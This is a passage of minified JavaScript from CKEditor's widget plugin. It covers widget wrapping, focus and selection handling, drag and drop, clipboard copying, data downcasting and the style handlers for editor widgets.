encodeURIComponent(JSON.stringify(h)),a.attributes["data-cke-widget-upcasted"]=1,b.push([a,e[1]]),!1}}}}function r(a,b){return{tabindex:-1,contenteditable:"false","data-cke-widget-wrapper":1,"data-cke-filter":"off","class":"cke_widget_wrapper cke_widget_new cke_widget_"+(a?"inline":"block")+(b?" cke_widget_"+b:"")}}function w(a,b,c){if(a.type==CKEDITOR.NODE_ELEMENT){var d=CKEDITOR.dtd[a.name];if(d&&!d[c.name]){var d=a.split(b),e=a.parent;b=d.getIndex();a.children.length||(--b,a.remove());d.children.length||
d.remove();return w(e,b,c)}}a.add(c,b)}function q(a,b){return"boolean"==typeof a.inline?a.inline:!!CKEDITOR.dtd.$inline[b]}function p(a){return a.hasAttribute("data-cke-temp")}function u(a,b,c,d){var e=a.editor;e.fire("lockSnapshot");c?(d=c.data("cke-widget-editable"),d=b.editables[d],a.widgetHoldingFocusedEditable=b,b.focusedEditable=d,c.addClass("cke_widget_editable_focused"),d.filter&&e.setActiveFilter(d.filter),e.setActiveEnterMode(d.enterMode,d.shiftEnterMode)):(d||b.focusedEditable.removeClass("cke_widget_editable_focused"),
b.focusedEditable=null,a.widgetHoldingFocusedEditable=null,e.setActiveFilter(null),e.setActiveEnterMode(null,null));e.fire("unlockSnapshot")}function x(a){a.contextMenu&&a.contextMenu.addListener(function(b){if(b=a.widgets.getByElement(b,!0))return b.fire("contextMenu",{})})}function t(a,b){return CKEDITOR.tools.trim(b)}function B(a){var b=a.editor,c=CKEDITOR.plugins.lineutils;b.on("dragstart",function(c){var d=c.data.target;f.isDomDragHandler(d)&&(d=a.getByElement(d),c.data.dataTransfer.setData("cke/widget-id",
d.id),b.focus(),d.focus())});b.on("drop",function(c){var d=c.data.dataTransfer,e=d.getData("cke/widget-id"),f=d.getTransferType(b),d=b.createRange();if(""!==e&&f===CKEDITOR.DATA_TRANSFER_CROSS_EDITORS)c.cancel();else if(f==CKEDITOR.DATA_TRANSFER_INTERNAL)if(""===e&&0<b.widgets.selected.length)c.data.dataTransfer.setData("text/html",L(b));else if(e=a.instances[e])d.setStartBefore(e.wrapper),d.setEndAfter(e.wrapper),c.data.dragRange=d,delete CKEDITOR.plugins.clipboard.dragStartContainerChildCount,delete CKEDITOR.plugins.clipboard.dragEndContainerChildCount,
c.data.dataTransfer.setData("text/html",e.getClipboardHtml()),b.widgets.destroy(e,!0)});b.on("contentDom",function(){var d=b.editable();CKEDITOR.tools.extend(a,{finder:new c.finder(b,{lookups:{"default":function(b){if(!b.is(CKEDITOR.dtd.$listItem)&&b.is(CKEDITOR.dtd.$block)&&!f.isDomNestedEditable(b)&&!a._.draggedWidget.wrapper.contains(b)){var c=f.getNestedEditable(d,b);if(c){b=a._.draggedWidget;if(a.getByElement(c)==b)return;c=CKEDITOR.filter.instances[c.data("cke-filter")];b=b.requiredContent;
if(c&&b&&!c.check(b))return}return CKEDITOR.LINEUTILS_BEFORE|CKEDITOR.LINEUTILS_AFTER}}}}),locator:new c.locator(b),liner:new c.liner(b,{lineStyle:{cursor:"move !important","border-top-color":"#666"},tipLeftStyle:{"border-left-color":"#666"},tipRightStyle:{"border-right-color":"#666"}})},!0)})}function v(a){var b=a.editor;b.on("contentDom",function(){var c=b.editable(),d=c.isInline()?c:b.document,e,g;c.attachListener(d,"mousedown",function(c){var d=c.data.getTarget();e=d instanceof CKEDITOR.dom.element?
a.getByElement(d):null;g=0;e&&(e.inline&&d.type==CKEDITOR.NODE_ELEMENT&&d.hasAttribute("data-cke-widget-drag-handler")?(g=1,a.focused!=e&&b.getSelection().removeAllRanges()):f.getNestedEditable(e.wrapper,d)?e=null:(c.data.preventDefault(),CKEDITOR.env.ie||e.focus()))});c.attachListener(d,"mouseup",function(){g&&e&&e.wrapper&&(g=0,e.focus())});CKEDITOR.env.ie&&c.attachListener(d,"mouseup",function(){setTimeout(function(){e&&e.wrapper&&c.contains(e.wrapper)&&(e.focus(),e=null)})})});b.on("doubleclick",
function(b){var c=a.getByElement(b.data.element);if(c&&!f.getNestedEditable(c.wrapper,b.data.element))return c.fire("doubleclick",{element:b.data.element})},null,null,1)}function y(a){a.editor.on("key",function(b){var c=a.focused,d=a.widgetHoldingFocusedEditable,e;c?e=c.fire("key",{keyCode:b.data.keyCode}):d&&(c=b.data.keyCode,b=d.focusedEditable,c==CKEDITOR.CTRL+65?(c=b.getBogus(),d=d.editor.createRange(),d.selectNodeContents(b),c&&d.setEndAt(c,CKEDITOR.POSITION_BEFORE_START),d.select(),e=!1):8==
c||46==c?(e=d.editor.getSelection().getRanges(),d=e[0],e=!(1==e.length&&d.collapsed&&d.checkBoundaryOfElement(b,CKEDITOR[8==c?"START":"END"]))):e=void 0);return e},null,null,1)}function z(a){function b(d){1>a.selected.length||M(c,"cut"===d.name)}var c=a.editor;c.on("contentDom",function(){var a=c.editable();a.attachListener(a,"copy",b);a.attachListener(a,"cut",b)})}function A(a){function b(){var a=e.getSelection();if(a&&(a=a.getRanges()[0])&&!a.collapsed){var d=c(a.startContainer),f=c(a.endContainer);
!d&&f?(a.setEndBefore(f.wrapper),a.select()):d&&!f&&(a.setStartAfter(d.wrapper),a.select())}}function c(a){return a?a.type==CKEDITOR.NODE_TEXT?c(a.getParent()):e.widgets.getByElement(a):null}function d(){a.fire("checkSelection")}var e=a.editor;e.on("selectionCheck",d);e.on("contentDom",function(){e.editable().attachListener(e,"key",function(){setTimeout(d,10)})});if(!CKEDITOR.env.ie)a.on("checkSelection",b);a.on("checkSelection",a.checkSelection,a);e.on("selectionChange",function(b){var c=(b=f.getNestedEditable(e.editable(),
b.data.selection.getStartElement()))&&a.getByElement(b),d=a.widgetHoldingFocusedEditable;d?d===c&&d.focusedEditable.equals(b)||(u(a,d,null),c&&b&&u(a,c,b)):c&&b&&u(a,c,b)});e.on("dataReady",function(){E(a).commit()});e.on("blur",function(){var b;(b=a.focused)&&m(a,b);(b=a.widgetHoldingFocusedEditable)&&u(a,b,null)})}function D(a){var b=a.editor,c={};b.on("toDataFormat",function(b){var e=CKEDITOR.tools.getNextNumber(),g=[];b.data.downcastingSessionId=e;c[e]=g;b.data.dataValue.forEach(function(b){var c=
b.attributes,e;if("data-cke-widget-white-space"in c){e=d(b);var h=k(b);e.parent.attributes["data-cke-white-space-first"]&&(e.value=e.value.replace(/^ /g," "));h.parent.attributes["data-cke-white-space-last"]&&(h.value=h.value.replace(/ $/g," "))}if("data-cke-widget-id"in c){if(c=a.instances[c["data-cke-widget-id"]])e=b.getFirst(f.isParserWidgetElement),g.push({wrapper:b,element:e,widget:c,editables:{}}),"1"!=e.attributes["data-cke-widget-keep-attr"]&&delete e.attributes["data-widget"]}else if("data-cke-widget-editable"in
c)return 0<g.length&&(g[g.length-1].editables[c["data-cke-widget-editable"]]=b),!1},CKEDITOR.NODE_ELEMENT,!0)},null,null,8);b.on("toDataFormat",function(a){if(a.data.downcastingSessionId)for(var b=c[a.data.downcastingSessionId],d,e,f,g,h,k;d=b.shift();){e=d.widget;f=d.element;g=e._.downcastFn&&e._.downcastFn.call(e,f);a.data.widgetsCopy&&e.getClipboardHtml&&(g=CKEDITOR.htmlParser.fragment.fromHtml(e.getClipboardHtml()),g=g.children[0]);for(k in d.editables)h=d.editables[k],delete h.attributes.contenteditable,
h.setHtml(e.editables[k].getData());g||(g=f);d.wrapper.replaceWith(g)}},null,null,13);b.on("contentDomUnload",function(){a.destroyAll(!0)})}function G(a){var b=a.editor,c,d;b.on("toHtml",function(b){var d=n(a),e;for(b.data.dataValue.forEach(d.iterator,CKEDITOR.NODE_ELEMENT,!0);e=d.toBeWrapped.pop();){var g=e[0],h=g.parent;h.type==CKEDITOR.NODE_ELEMENT&&h.attributes["data-cke-widget-wrapper"]&&h.replaceWith(g);a.wrapElement(e[0],e[1])}c=b.data.protectedWhitespaces?3==b.data.dataValue.children.length&&
f.isParserWidgetWrapper(b.data.dataValue.children[1]):1==b.data.dataValue.children.length&&f.isParserWidgetWrapper(b.data.dataValue.children[0])},null,null,8);b.on("dataReady",function(){if(d)for(var c=b.editable().find(".cke_widget_wrapper"),e,g,h=0,k=c.count();h<k;++h)e=c.getItem(h),g=e.getFirst(f.isDomWidgetElement),g.type==CKEDITOR.NODE_ELEMENT&&g.data("widget")?(g.replace(e),a.wrapElement(g)):e.remove();d=0;a.destroyAll(!0);a.initOnAll()});b.on("loadSnapshot",function(b){/data-cke-widget/.test(b.data)&&
(d=1);a.destroyAll(!0)},null,null,9);b.on("paste",function(a){a=a.data;a.dataValue=a.dataValue.replace(P,t);a.range&&(a=f.getNestedEditable(b.editable(),a.range.startContainer))&&(a=CKEDITOR.filter.instances[a.data("cke-filter")])&&b.setActiveFilter(a)});b.on("afterInsertHtml",function(d){d.data.intoRange?a.checkWidgets({initOnlyNew:!0}):(b.fire("lockSnapshot"),a.checkWidgets({initOnlyNew:!0,focusInited:c}),b.fire("unlockSnapshot"))})}function E(a){var b=a.selected,c=[],d=b.slice(0),e=null;return{select:function(a){0>
CKEDITOR.tools.indexOf(b,a)&&c.push(a);a=CKEDITOR.tools.indexOf(d,a);0<=a&&d.splice(a,1);return this},focus:function(a){e=a;return this},commit:function(){var f=a.focused!==e,g,h;a.editor.fire("lockSnapshot");for(f&&(g=a.focused)&&m(a,g);g=d.pop();)b.splice(CKEDITOR.tools.indexOf(b,g),1),g.isInited()&&(h=g.editor.checkDirty(),g.setSelected(!1),!h&&g.editor.resetDirty());f&&e&&(h=a.editor.checkDirty(),a.focused=e,a.fire("widgetFocused",{widget:e}),e.setFocused(!0),!h&&a.editor.resetDirty());for(;g=
c.pop();)b.push(g),g.setSelected(!0);a.editor.fire("unlockSnapshot")}}}function J(a){a&&a.addFilterRule(function(a){return a.replace(/\s*cke_widget_selected/g,"").replace(/\s*cke_widget_focused/g,"").replace(/<span[^>]*cke_widget_drag_handler_container[^>]*.*?<\/span>/gmi,"")})}function H(a,b,c){var d=0;b=I(b);var e=a.data.classes||{},f;if(b){for(e=CKEDITOR.tools.clone(e);f=b.pop();)c?e[f]||(d=e[f]=1):e[f]&&(delete e[f],d=1);d&&a.setData("classes",e)}}function F(a){a.cancel()}function M(a,b){var c=
a.widgets.focused,d,e,f;R.hasCopyBin(a)||(e=new R(a,{beforeDestroy:function(){!b&&c&&c.focus();f&&a.getSelection().selectBookmarks(f);d&&CKEDITOR.plugins.widgetselection.addFillers(a.editable())},afterDestroy:function(){b&&!a.readOnly&&(c?a.widgets.del(c):a.extractSelectedHtml(),a.fire("saveSnapshot"))}}),c||(d=CKEDITOR.env.webkit&&CKEDITOR.plugins.widgetselection.isWholeContentSelected(a.editable()),f=a.getSelection().createBookmarks(!0)),e.handle(L(a)))}function I(a){return(a=(a=a.getDefinition().attributes)&&
a["class"])?a.split(/\s+/):null}function K(){var a=CKEDITOR.document.getActive(),b=this.editor,c=b.editable();(c.isInline()?c:b.document.getWindow().getFrame()).equals(a)&&b.focusManager.focus(c)}function C(){CKEDITOR.env.gecko&&this.editor.unlockSelection();CKEDITOR.env.webkit||(this.editor.forceNextSelectionCheck(),this.editor.selectionChange(1))}function L(a){var b=a.getSelectedHtml(!0);if(a.widgets.focused)return a.widgets.focused.getClipboardHtml();a.once("toDataFormat",function(a){a.data.widgetsCopy=
!0},null,null,-1);return a.dataProcessor.toDataFormat(b)}function Q(a,b){O(a);X(a);T(a);Y(a);U(a);ba(a);V(a);if(CKEDITOR.env.ie&&9>CKEDITOR.env.version)a.wrapper.on("dragstart",function(b){var c=b.data.getTarget();f.getNestedEditable(a,c)||a.inline&&f.isDomDragHandler(c)||b.data.preventDefault()});a.wrapper.removeClass("cke_widget_new");a.element.addClass("cke_widget_element");a.on("key",function(b){b=b.data.keyCode;if(13==b)a.edit();else{if(b==CKEDITOR.CTRL+67||b==CKEDITOR.CTRL+88){M(a.editor,b==
CKEDITOR.CTRL+88);return}if(b in S||CKEDITOR.CTRL&b||CKEDITOR.ALT&b)return}return!1},null,null,999);a.on("doubleclick",function(b){a.edit()&&b.cancel()});if(b.data)a.on("data",b.data);if(b.edit)a.on("edit",b.edit)}function O(a){(a.wrapper=a.element.getParent()).setAttribute("data-cke-widget-id",a.id)}function X(a,b){a.partSelectors||(a.partSelectors=a.parts);if(a.parts){var c={},d,e;for(e in a.partSelectors)b||!a.parts[e]||"string"==typeof a.parts[e]?(d=a.wrapper.findOne(a.partSelectors[e]),c[e]=
d):c[e]=a.parts[e];a.parts=c}}function T(a){var b=a.editables,c,d;a.editables={};if(a.editables)for(c in b)d=b[c],a.initEditable(c,"string"==typeof d?{selector:d}:d)}function Y(a){if(!0===a.mask)ha(a);else if(a.mask){var b=new CKEDITOR.tools.buffers.throttle(250,W,a),c=CKEDITOR.env.gecko?300:0,d,e;a.on("focus",function(){b.input();d=a.editor.on("change",b.input);e=a.on("blur",function(){d.removeListener();e.removeListener()})});a.editor.on("instanceReady",function(){setTimeout(function(){b.input()},
c)});a.editor.on("mode",function(){setTimeout(function(){b.input()},c)});if(CKEDITOR.env.gecko){var f=a.element.find("img");CKEDITOR.tools.array.forEach(f.toArray(),function(a){a.on("load",function(){b.input()})})}for(var g in a.editables)a.editables[g].on("focus",function(){a.editor.on("change",b.input);e&&e.removeListener()}),a.editables[g].on("blur",function(){a.editor.removeListener("change",b.input)});b.input()}}function ha(a){var b=a.wrapper.findOne(".cke_widget_mask");b||(b=new CKEDITOR.dom.element("img",
a.editor.document),b.setAttributes({src:CKEDITOR.tools.transparentImageData,"class":"cke_reset cke_widget_mask"}),a.wrapper.append(b));a.mask=b}function W(){if(this.wrapper){this.maskPart=this.maskPart||this.mask;var a=this.parts[this.maskPart],b;if(a&&"string"!=typeof a){b=this.wrapper.findOne(".cke_widget_partial_mask");b||(b=new CKEDITOR.dom.element("img",this.editor.document),b.setAttributes({src:CKEDITOR.tools.transparentImageData,"class":"cke_reset cke_widget_partial_mask"}),this.wrapper.append(b));
this.mask=b;var c=b.$,d=a.$,e=!(c.offsetTop==d.offsetTop&&c.offsetLeft==d.offsetLeft);if(c.offsetWidth!=d.offsetWidth||c.offsetHeight!=d.offsetHeight||e)c=a.getParent(),d=CKEDITOR.plugins.widget.isDomWidget(c),b.setStyles({top:a.$.offsetTop+(d?0:c.$.offsetTop)+"px",left:a.$.offsetLeft+(d?0:c.$.offsetLeft)+"px",width:a.$.offsetWidth+"px",height:a.$.offsetHeight+"px"})}}}function U(a){if(a.draggable){var b=a.editor,c=a.wrapper.getLast(f.isDomDragHandlerContainer),d;c?d=c.findOne("img"):(c=new CKEDITOR.dom.element("span",
b.document),c.setAttributes({"class":"cke_reset cke_widget_drag_handler_container",style:"background:rgba(220,220,220,0.5);background-image:url("+b.plugins.widget.path+"images/handle.png);display:none;"}),d=new CKEDITOR.dom.element("img",b.document),d.setAttributes({"class":"cke_reset cke_widget_drag_handler","data-cke-widget-drag-handler":"1",src:CKEDITOR.tools.transparentImageData,width:15,title:b.lang.widget.move,height:15,role:"presentation"}),a.inline&&d.setAttribute("draggable","true"),c.append(d),
a.wrapper.append(c));a.wrapper.on("dragover",function(a){a.data.preventDefault()});a.wrapper.on("mouseenter",a.updateDragHandlerPosition,a);setTimeout(function(){a.on("data",a.updateDragHandlerPosition,a)},50);if(!a.inline&&(d.on("mousedown",aa,a),CKEDITOR.env.ie&&9>CKEDITOR.env.version))d.on("dragstart",function(a){a.data.preventDefault(!0)});a.dragHandlerContainer=c}}function aa(a){function b(){var c;for(p.reset();c=h.pop();)c.removeListener();var d=k;c=a.sender;var e=this.repository.finder,f=this.repository.liner,
g=this.editor,l=this.editor.editable();CKEDITOR.tools.isEmpty(f.visible)||(d=e.getRange(d[0]),this.focus(),g.fire("drop",{dropRange:d,target:d.startContainer}));l.removeClass("cke_widget_dragging");f.hideVisible();g.fire("dragend",{target:c})}if(CKEDITOR.tools.getMouseButton(a)===CKEDITOR.MOUSE_BUTTON_LEFT){var c=this.repository.finder,d=this.repository.locator,e=this.repository.liner,f=this.editor,g=f.editable(),h=[],k=[],l,m;this.repository._.draggedWidget=this;var n=c.greedySearch(),p=CKEDITOR.tools.eventsBuffer(50,
function(){l=d.locate(n);k=d.sort(m,1);k.length&&(e.prepare(n,l),e.placeLine(k[0]),e.cleanup())});g.addClass("cke_widget_dragging");h.push(g.on("mousemove",function(a){m=a.data.$.clientY;p.input()}));f.fire("dragstart",{target:a.sender});h.push(f.document.once("mouseup",b,this));g.isInline()||h.push(CKEDITOR.document.once("mouseup",b,this))}}function ba(a){var b=null;a.on("data",function(){var a=this.data.classes,c;if(b!=a){for(c in b)a&&a[c]||this.removeClass(c);for(c in a)this.addClass(c);b=a}})}
function V(a){a.on("data",function(){if(a.wrapper){var b=this.getLabel?this.getLabel():this.editor.lang.widget.label.replace(/%1/,this.pathName||this.element.getName());a.wrapper.setAttribute("role","region");a.wrapper.setAttribute("aria-label",b)}},null,null,9999)}function da(a){a.element.data("cke-widget-data",encodeURIComponent(JSON.stringify(a.data)))}function Z(){function a(){}function b(a,c,d){return d&&this.checkElement(a)?(a=d.widgets.getByElement(a,!0))&&a.checkStyleActive(this):!1}function c(a){function b(a,
c,d){for(var e=a.length,f=0;f<e;){if(c.call(d,a[f],f,a))return a[f];f++}}function e(a){function b(a,c){var d=CKEDITOR.tools.object.keys(a),e=CKEDITOR.tools.object.keys(c);if(d.length!==e.length)return!1;for(var f in a)if(("object"!==typeof a[f]||"object"!==typeof c[f]||!b(a[f],c[f]))&&a[f]!==c[f])return!1;return!0}return function(c){return b(a.getDefinition(),c.getDefinition())}}var f=a.widget,g;d[f]||(d[f]={});for(var h=0,k=a.group.length;h<k;h++)g=a.group[h],d[f][g]||(d[f][g]=[]),g=d[f][g],b(g,
e(a))||g.push(a)}var d={};CKEDITOR.style.addCustomHandler({type:"widget",setup:function(a){this.widget=a.widget;(this.group="string"==typeof a.group?[a.group]:a.group)&&c(this)},apply:function(a){var b;a instanceof CKEDITOR.editor&&this.checkApplicable(a.elementPath(),a)&&(b=a.widgets.focused,this.group&&this.removeStylesFromSameGroup(a),b.applyStyle(this))},remove:function(a){a instanceof CKEDITOR.editor&&this.checkApplicable(a.elementPath(),a)&&a.widgets.focused.removeStyle(this)},removeStylesFromSameGroup:function(a){var b=
!1,c,e;if(!(a instanceof CKEDITOR.editor))return!1;e=a.elementPath();if(this.checkApplicable(e,a))for(var f=0,g=this.group.length;f<g;f++){c=d[this.widget][this.group[f]];for(var h=0;h<c.length;h++)c[h]!==this&&c[h].checkActive(e,a)&&(a.widgets.focused.removeStyle(c[h]),b=!0)}return b},checkActive:function(a,b){return this.checkElementMatch(a.lastElement,0,b)},checkApplicable:function(a,b){return b instanceof CKEDITOR.editor?this.checkElement(a.lastElement):!1},checkElementMatch:b,checkElementRemovable:b,
checkElement:function(a){return f.isDomWidgetWrapper(a)?(a=a.getFirst(f.isDomWidgetElement))&&a.data("widget")==this.widget:!1},buildPreview:function(a){return a||this._.definition.name},toAllowedContentRules:function(a){if(!a)return null;a=a.widgets.registered[this.widget];var b,c={};if(!a)return null;if(a.styleableElements){b=this.getClassesArray();if(!b)return null;c[a.styleableElements]={classes:b,propertiesOnly:!0};return c}return a.styleToAllowedContentRules?a.styleToAllowedContentRules(this):
null},getClassesArray:function(){var a=this._.definition.attributes&&this._.definition.attributes["class"];return a?CKEDITOR.tools.trim(a).split(/\s+/):null},applyToRange:a,removeFromRange:a,applyToObject:a})}CKEDITOR.plugins.add("widget",{requires:"lineutils,clipboard,widgetselection",onLoad:function(){void 0!==CKEDITOR.document.$.querySelectorAll&&(CKEDITOR.addCss('.cke_widget_wrapper{position:relative;outline:none}.cke_widget_inline{display:inline-block}.cke_widget_wrapper:hover\x3e.cke_widget_element{outline:2px solid #ffd25c;cursor:default}.cke_widget_wrapper:hover .cke_widget_editable{outline:2px solid #ffd25c}.cke_widget_wrapper.cke_widget_focused\x3e.cke_widget_element,.cke_widget_wrapper .cke_widget_editable.cke_widget_editable_focused{outline:2px solid #47a4f5}.cke_widget_editable{cursor:text}.cke_widget_drag_handler_container{position:absolute;width:15px;height:0;display:block;opacity:0.75;transition:height 0s 0.2s;line-height:0}.cke_widget_wrapper:hover\x3e.cke_widget_drag_handler_container{height:15px;transition:none}.cke_widget_drag_handler_container:hover{opacity:1}.cke_editable[contenteditable\x3d"false"] .cke_widget_drag_handler_container{display:none;}img.cke_widget_drag_handler{cursor:move;width:15px;height:15px;display:inline-block}.cke_widget_mask{position:absolute;top:0;left:0;width:100%;height:100%;display:block}.cke_widget_partial_mask{position:absolute;display:block}.cke_editable.cke_widget_dragging, .cke_editable.cke_widget_dragging *{cursor:move !important}'),
Z())},beforeInit:function(b){void 0!==CKEDITOR.document.$.querySelectorAll&&(b.widgets=new a(b))},afterInit:function(a){if(void 0!==CKEDITOR.document.$.querySelectorAll){var b=a.widgets.registered,c,d,e;for(d in b)c=b[d],(e=c.button)&&a.ui.addButton&&a.ui.addButton(CKEDITOR.tools.capitalize(c.name,!0),{label:e,command:c.name,toolbar:"insert,10"});x(a);J(a.undoManager)}}});a.prototype={MIN_SELECTION_CHECK_INTERVAL:500,add:function(a,d){var e=this.editor;d=CKEDITOR.tools.prototypedCopy(d);d.name=a;
d._=d._||{};e.fire("widgetDefinition",d);d.template&&(d.template=new CKEDITOR.template(d.template));b(e,d);c(this,d);this.registered[a]=d;if(d.dialog&&e.plugins.dialog)var f=CKEDITOR.on("dialogDefinition",function(a){a=a.data.definition;var b=a.dialog;a.getMode||b.getName()!==d.dialog||(a.getMode=function(){var a=b.getModel(e);return a&&a instanceof CKEDITOR.plugins.widget&&a.ready?CKEDITOR.dialog.EDITING_MODE:CKEDITOR.dialog.CREATION_MODE});f.removeListener()});return d},addUpcastCallback:function(a){this._.upcastCallbacks.push(a)},
checkSelection:function(){if(this.editor.getSelection()){var a=this.editor.getSelection(),b=a.getSelectedElement(),c=E(this),d;if(b&&(d=this.getByElement(b,!0)))return c.focus(d).select(d).commit();a=a.getRanges()[0];if(!a||a.collapsed)return c.commit();a=new CKEDITOR.dom.walker(a);for(a.evaluator=f.isDomWidgetWrapper;b=a.next();)c.select(this.getByElement(b));c.commit()}},checkWidgets:function(a){this.fire("checkWidgets",CKEDITOR.tools.copy(a||{}))},del:function(a){if(this.focused===a){var b=a.editor,
c=b.createRange(),d;(d=c.moveToClosestEditablePosition(a.wrapper,!0))||(d=c.moveToClosestEditablePosition(a.wrapper,!1));d&&b.getSelection().selectRanges([c])}a.wrapper.remove();this.destroy(a,!0)},destroy:function(a,b){this.widgetHoldingFocusedEditable===a&&u(this,a,null,b);a.destroy(b);delete this.instances[a.id];this.fire("instanceDestroyed",a)},destroyAll:function(a,b){var c,d,e=this.instances;if(b&&!a){d=b.find(".cke_widget_wrapper");for(var e=d.count(),f=0;f<e;++f)(c=this.getByElement(d.getItem(f),
!0))&&this.destroy(c)}else for(d in e)c=e[d],this.destroy(c,a)},finalizeCreation:function(a){(a=a.getFirst())&&f.isDomWidgetWrapper(a)&&(this.editor.insertElement(a),a=this.getByElement(a),a.ready=!0,a.fire("ready"),a.focus())},getByElement:function(){function a(c){return c.is(b)&&c.data("cke-widget-id")}var b={div:1,span:1};return function(b,c){if(!b)return null;var d=a(b);if(!c&&!d){var e=this.editor.editable();do b=b.getParent();while(b&&!b.equals(e)&&!(d=a(b)))}return this.instances[d]||null}}(),
initOn:function(a,b,c){b?"string"==typeof b&&(b=this.registered[b]):b=this.registered[a.data("widget")];if(!b)return null;var d=this.wrapElement(a,b.name);return d?d.hasClass("cke_widget_new")?(a=new f(this,this._.nextId++,a,b,c),a.isInited()?this.instances[a.id]=a:null):this.getByElement(a):null},initOnAll:function(a){a=(a||this.editor.editable()).find(".cke_widget_new");for(var b=[],c,d=a.count();d--;)(c=this.initOn(a.getItem(d).getFirst(f.isDomWidgetElement)))&&b.push(c);return b},onWidget:function(a){var b=
Array.prototype.slice.call(arguments);b.shift();for(var c in this.instances){var d=this.instances[c];d.name==a&&d.on.apply(d,b)}this.on("instanceCreated",function(c){c=c.data;c.name==a&&c.on.apply(c,b)})},parseElementClasses:function(a){if(!a)return null;a=CKEDITOR.tools.trim(a).split(/\s+/);for(var b,c={},d=0;b=a.pop();)-1==b.indexOf("cke_")&&(c[b]=d=1);return d?c:null},wrapElement:function(a,b){var c=null,d,e;if(a instanceof CKEDITOR.dom.element){b=b||a.data("widget");d=this.registered[b];if(!d)return null;
if((c=a.getParent())&&c.type==CKEDITOR.NODE_ELEMENT&&c.data("cke-widget-wrapper"))return c;a.hasAttribute("data-cke-widget-keep-attr")||a.data("cke-widget-keep-attr",a.data("widget")?1:0);a.data("widget",b);(e=q(d,a.getName()))&&l(a);c=new CKEDITOR.dom.element(e?"span":"div",a.getDocument());c.setAttributes(r(e,b));c.data("cke-display-name",d.pathName?d.pathName:a.getName());a.getParent(!0)&&c.replace(a);a.appendTo(c)}else if(a instanceof CKEDITOR.htmlParser.element){b=b||a.attributes["data-widget"];
d=this.registered[b];if(!d)return null;if((c=a.parent)&&c.type==CKEDITOR.NODE_ELEMENT&&c.attributes["data-cke-widget-wrapper"])return c;"data-cke-widget-keep-attr"in a.attributes||(a.attributes["data-cke-widget-keep-attr"]=a.attributes["data-widget"]?1:0);b&&(a.attributes["data-widget"]=b);(e=q(d,a.name))&&l(a);c=new CKEDITOR.htmlParser.element(e?"span":"div",r(e,b));c.attributes["data-cke-display-name"]=d.pathName?d.pathName:a.name;d=a.parent;var f;d&&(f=a.getIndex(),a.remove());c.add(a);d&&w(d,
f,c)}return c},_tests_createEditableFilter:g};CKEDITOR.event.implementOn(a.prototype);f.prototype={addClass:function(a){this.element.addClass(a);this.wrapper.addClass(f.WRAPPER_CLASS_PREFIX+a)},applyStyle:function(a){H(this,a,1)},checkStyleActive:function(a){a=I(a);var b;if(!a)return!1;for(;b=a.pop();)if(!this.hasClass(b))return!1;return!0},destroy:function(a){this.fire("destroy");if(this.editables)for(var b in this.editables)this.destroyEditable(b,a);a||("0"==this.element.data("cke-widget-keep-attr")&&
this.element.removeAttribute("data-widget"),this.element.removeAttributes(["data-cke-widget-data","data-cke-widget-keep-attr"]),this.element.removeClass("cke_widget_element"),this.element.replace(this.wrapper));this.wrapper=null},destroyEditable:function(a,b){var c=this.editables[a],d=!0;c.removeListener("focus",C);c.removeListener("blur",K);this.editor.focusManager.remove(c);if(c.filter){for(var e in this.repository.instances){var f=this.repository.instances[e];f.editables&&(f=f.editables[a])&&f!==
c&&c.filter===f.filter&&(d=!1)}d&&(c.filter.destroy(),(d=this.repository._.filters[this.name])&&delete d[a])}b||(this.repository.destroyAll(!1,c),c.removeClass("cke_widget_editable"),c.removeClass("cke_widget_editable_focused"),c.removeAttributes(["contenteditable","data-cke-widget-editable","data-cke-enter-mode"]));delete this.editables[a]},edit:function(){var a={dialog:this.dialog},b=this;if(!1===this.fire("edit",a)||!a.dialog)return!1;this.editor.openDialog(a.dialog,function(a){var c,d;!1!==b.fire("dialog",
a)&&(c=a.on("show",function(){a.setupContent(b)}),d=a.on("ok",function(){var c,d=b.on("data",function(a){c=1;a.cancel()},null,null,0);b.editor.fire("saveSnapshot");a.commitContent(b);d.removeListener();c&&(b.fire("data",b.data),b.editor.fire("saveSnapshot"))}),a.once("hide",function(){c.removeListener();d.removeListener()}))},b);return!0},getClasses:function(){return this.repository.parseElementClasses(this.element.getAttribute("class"))},getClipboardHtml:function(){var a=this.editor.createRange();
a.setStartBefore(this.wrapper);a.setEndAfter(this.wrapper);return this.editor.editable().getHtmlFromRange(a).getHtml()},hasClass:function(a){return this.element.hasClass(a)},initEditable:function(a,b){var c=this._findOneNotNested(b.selector);return c&&c.is(CKEDITOR.dtd.$editable)?(c=new e(this.editor,c,{filter:g.call(this.repository,this.name,a,b)}),this.editables[a]=c,c.setAttributes({contenteditable:"true","data-cke-widget-editable":a,"data-cke-enter-mode":c.enterMode}),c.filter&&c.data("cke-filter",
c.filter.id),c.addClass("cke_widget_editable"),c.removeClass("cke_widget_editable_focused"),b.pathName&&c.data("cke-display-name",b.pathName),this.editor.focusManager.add(c),c.on("focus",C,this),CKEDITOR.env.ie&&c.on("blur",K,this),c._.initialSetData=!0,c.setData(c.getHtml()),!0):!1},_findOneNotNested:function(a){a=this.wrapper.find(a);for(var b,c,d=0;d<a.count();d++)if(b=a.getItem(d),c=b.getAscendant(f.isDomWidgetWrapper),this.wrapper.equals(c))return b;return null},isInited:function(){return!(!this.wrapper||
!this.inited)},isReady:function(){return this.isInited()&&this.ready},focus:function(){var a=this.editor.getSelection();if(a){var b=this.editor.checkDirty();a.fake(this.wrapper);!b&&this.editor.resetDirty()}this.editor.focus()},refreshMask:function(){Y(this)},refreshParts:function(a){X(this,"undefined"!==typeof a?a:!0)},removeClass:function(a){this.element.removeClass(a);this.wrapper.removeClass(f.WRAPPER_CLASS_PREFIX+a)},removeStyle:function(a){H(this,a,0)},setData:function(a,b){var c=this.data,
d=0;if("string"==typeof a)c[a]!==b&&(c[a]=b,d=1);else{var e=a;for(a in e)c[a]!==e[a]&&(d=1,c[a]=e[a])}d&&this.dataReady&&(da(this),this.fire("data",c));return this},setFocused:function(a){this.wrapper[a?"addClass":"removeClass"]("cke_widget_focused");this.fire(a?"focus":"blur");return this},setSelected:function(a){this.wrapper[a?"addClass":"removeClass"]("cke_widget_selected");this.fire(a?"select":"deselect");return this},updateDragHandlerPosition:function(){var a=this.editor,b=this.element.$,c=this._.dragHandlerOffset,
